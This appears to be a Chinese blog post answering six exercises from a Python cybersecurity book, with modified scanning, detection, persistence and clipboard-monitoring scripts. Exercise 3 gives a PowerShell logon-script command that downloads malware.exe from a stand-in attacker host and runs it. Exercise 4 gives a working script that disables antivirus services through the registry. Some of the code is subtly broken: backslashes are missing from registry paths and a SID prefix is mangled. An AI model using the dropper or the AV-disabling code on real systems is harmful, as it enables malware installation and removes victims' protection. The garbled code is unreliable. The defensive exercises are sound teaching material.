提升网络安全脚本功能的六大改进方案

内容分享4小时前发布
0 0 0

table {
border-collapse: collapse;
width: 100%;
margin-bottom: 1rem;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
pre {
background-color: #f8f8f8;
padding: 15px;
border-radius: 4px;
overflow-x: auto;
}

1、PortScan.py 中的 SYNScan 函数目前仅根据端口是否返回 SYN/ACK 数据包来检查端口是否开放。修改代码以区分关闭的端口(返回 RST)和被防火墙过滤的端口(无返回)。

以下是修改后的 SYNScan 函数代码:


from scapy.all import *
import ipaddress

ports = [25, 80, 53, 443, 445, 8080, 8443]

def SynScan(host):
    ans, unans = sr( IP(dst=host) / TCP(sport=33333, dport=ports, flags="S"), timeout=2, verbose=0 )
    open_ports = []
    closed_ports = []
    filtered_ports = []
    # 处理有响应的数据包
    for s, r in ans:
        if s[TCP].dport == r[TCP].sport and r[TCP].flags == "SA":
            open_ports.append(s[TCP].dport)
        elif r[TCP].flags == "R":
            closed_ports.append(s[TCP].dport)
    # 处理无响应的数据包
    for s in unans:
        filtered_ports.append(s[TCP].dport)
    if open_ports:
        print(f"Open ports at {host}: {', '.join(map(str, open_ports))}")
    if closed_ports:
        print(f"Closed ports at {host}: {', '.join(map(str, closed_ports))}")
    if filtered_ports:
        print(f"Filtered ports at {host}: {', '.join(map(str, filtered_ports))}")

此修改后的代码会分别记录开放、关闭和被过滤的端口,并将结果输出。

2、AutorunDetection 使用 psutil 库确定进程的 PID。修改代码以提供有关可疑进程的更多信息,例如它们的创建时间或父 PID。

要修改

AutorunDetection.py

代码以提供有关可疑进程的更多信息,如创建时间和父 PID,可以在

DetectAutorunProcess

函数中添加代码来获取这些信息。以下是修改后的代码:


import win32con
from win32api import GetLogicalDriveStrings
from win32file import GetDriveType
import os.path
import psutil

def GetRemovableDrives():
    driveStrings = GetLogicalDriveStrings()
    drives = [item for item in driveStrings.split("x00") if item]
    return [drive for drive in drives if GetDriveType(drive) is win32con.DRIVE_REMOVABLE]

def CheckAutorun(drive):
    filename = drive + "Autorun.inf"
    if os.path.isfile(filename):
        print("Autorun file at %s" % filename)
        with open(filename, "r") as f:
            for line in f:
                if line.startswith("Open"):
                    ind = line.index("=")
                    return line[ind+1:].rstrip()
    else:
        return None

def DetectAutorunProcess(executable):
    for proc in psutil.process_iter():
        if executable == proc.name():
            try:
                create_time = proc.create_time()
                parent_pid = proc.ppid()
                print(f"Autorun file running with PID {proc.pid}, created at {create_time}, parent PID: {parent_pid}")
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                pass

for drive in GetRemovableDrives():
    executable = CheckAutorun(drive)
    if executable:
        DetectAutorunProcess(executable)

在这个修改后的代码中,

DetectAutorunProcess

函数在找到匹配的进程后,会尝试获取进程的创建时间和父 PID,并将这些信息打印出来。同时,使用

try-except

块来捕获可能的异常,如进程不存在、访问被拒绝或僵尸进程等情况。

3、目前,LogonScript.py 仅启动一个命令提示符。修改脚本目标,使其能为攻击者做一些有用的事情。


可将脚本目标修改为添加一个终端命令,用于下载并运行第二阶段恶意软件。若要修改 LogonScript.py 代码,可将 `command = "cmd.exe"` 替换为下载并运行恶意软件的命令,如  
`command = "powershell -Command "Invoke-WebRequest -Uri 'http://attacker-server.com/malware.exe' -OutFile 'C:\Temp\malware.exe'; Start-Process 'C:\Temp\malware.exe'""`,  
同时要确保运行脚本修改 HKU 中的值时,目标位置对该账户可访问。

4、修改DetectAntivirusService.py,通过将检测到的服务的Start值设置为0x04来禁用该服务。

当前DetectAntivirusService.py代码用于识别自动运行的杀毒服务。若要修改代码以禁用检测到的服务,可在找到Start值为

0x02

的服务后,以写权限打开相应键并调用

SetValueEx

函数将Start值设置为

0x04

。以下是修改后的代码示例:


import winreg

reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEMCurrentControlSetServices"
av_list = ['MBAM']  # 可扩展为其他杀毒软件关键字

try:
    key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
    numKeys = winreg.QueryInfoKey(key)[0]
    for i in range(numKeys):
        subkey = winreg.EnumKey(key, i)
        for name in av_list:
            if name in subkey:
                subPath = "%s\%s" % (regpath, subkey)
                # 以写权限打开子键
                k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_ALL_ACCESS)
                numVals = winreg.QueryInfoKey(k)[1]
                for j in range(numVals):
                    val = winreg.EnumValue(k, j)
                    if val[0] == "Start" and val[1] == 2:
                        print("Service %s set to run automatically, disabling..." % subkey)
                        # 设置Start值为0x04
                        winreg.SetValueEx(k, "Start", 0, winreg.REG_DWORD, 0x04)
                        print("Service %s has been disabled." % subkey)
                winreg.CloseKey(k)
    winreg.CloseKey(key)
except Exception as e:
    print(e)

此代码在找到Start值为

0x02

的服务时,会将其Start值设置为

0x04

以禁用服务。运行此代码需要管理员权限。

5、特殊登录事件的Windows事件日志包含目标账户的权限信息。修改DetectAdminLogin.py以收集这些信息。

以下是修改后的DetectAdminLogin.py代码,用于收集特殊登录事件中目标账户的权限信息:


import win32evtlog

server = "localhost"
logtype = "Security"
flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ

def QueryEventLog(eventID, filename=None):
    logs = []
    if not filename:
        h = win32evtlog.OpenEventLog(server, logtype)
    else:
        h = win32evtlog.OpenBackupEventLog(server, filename)
    while True:
        events = win32evtlog.ReadEventLog(h, flags, 0)
        if events:
            for event in events:
                if event.EventID == eventID:
                    logs.append(event)
        else:
            break
    return logs

def DetectAdministratorLogin():
    events = QueryEventLog(4672)
    for event in events:
        if event.StringInserts[0].startswith("S - 1 - 5 - 21"):
            username = event.StringInserts[1]
            time_generated = event.TimeGenerated
            # 假设权限信息在某个特定位置,这里简单示例
            # 实际中需要根据事件日志结构确定权限信息位置
            privileges = "未知权限信息"
            if len(event.StringInserts) > 2:
                privileges = event.StringInserts[2]
            print("Login attempt by %s at %s with privileges: %s" % (username, time_generated, privileges))

DetectAdministratorLogin()

此代码在原基础上添加了权限信息的输出,假设权限信息在

event.StringInserts

的第三个位置(实际需根据事件日志结构调整)。

6、编辑 MonitorClipboard 代码,当剪贴板被可疑进程修改时,提取并打印剪贴板的当前内容。


要实现这个需求,需要对 `MonitorClipboard.py` 代码进行修改。在检测到剪贴板被可疑进程修改时,提取并打印剪贴板的当前内容。以下是修改后的代码示例:

```python
import win32gui, win32api, ctypes
from win32clipboard import GetClipboardOwner, OpenClipboard, GetClipboardData, CloseClipboard
from win32process import GetWindowThreadProcessId
from psutil import Process

allowlist = []

def processEvent(hwnd, msg, wparam, lparam):
    if msg == 0x031D:
        try:
            win = GetClipboardOwner()
            pid = GetWindowThreadProcessId(win)[1]
            p = Process(pid)
            name = p.name()
            if name not in allowlist:
                print("Clipboard modified by %s" % name)
                # 打开剪贴板
                OpenClipboard()
                # 获取剪贴板内容
                clipboard_content = GetClipboardData()
                # 关闭剪贴板
                CloseClipboard()
                print("Current clipboard content: %s" % clipboard_content)
        except:
            print("Clipboard modified by unknown process")

def createWindow():
    wc = win32gui.WNDCLASS()
    wc.lpfnWndProc = processEvent
    wc.lpszClassName = 'clipboardListener'
    wc.hInstance = win32api.GetModuleHandle(None)
    class_atom = win32gui.RegisterClass(wc)
    return win32gui.CreateWindow(class_atom, 'clipboardListener', 0, 0, 0, 0, 0, 0, 0, wc.hInstance, None)

def setupListener():
    hwnd = createWindow()
    ctypes.windll.user32.AddClipboardFormatListener(hwnd)
    win32gui.PumpMessages()

setupListener()

在这个修改后的代码中,当检测到剪贴板被可疑进程修改时,会执行以下操作:

打开剪贴板。

使用

GetClipboardData

函数 获取剪贴板的当前内容。

关闭剪贴板。

打印剪贴板的当前内容。

“`

© 版权声明

相关文章

暂无评论

none
暂无评论...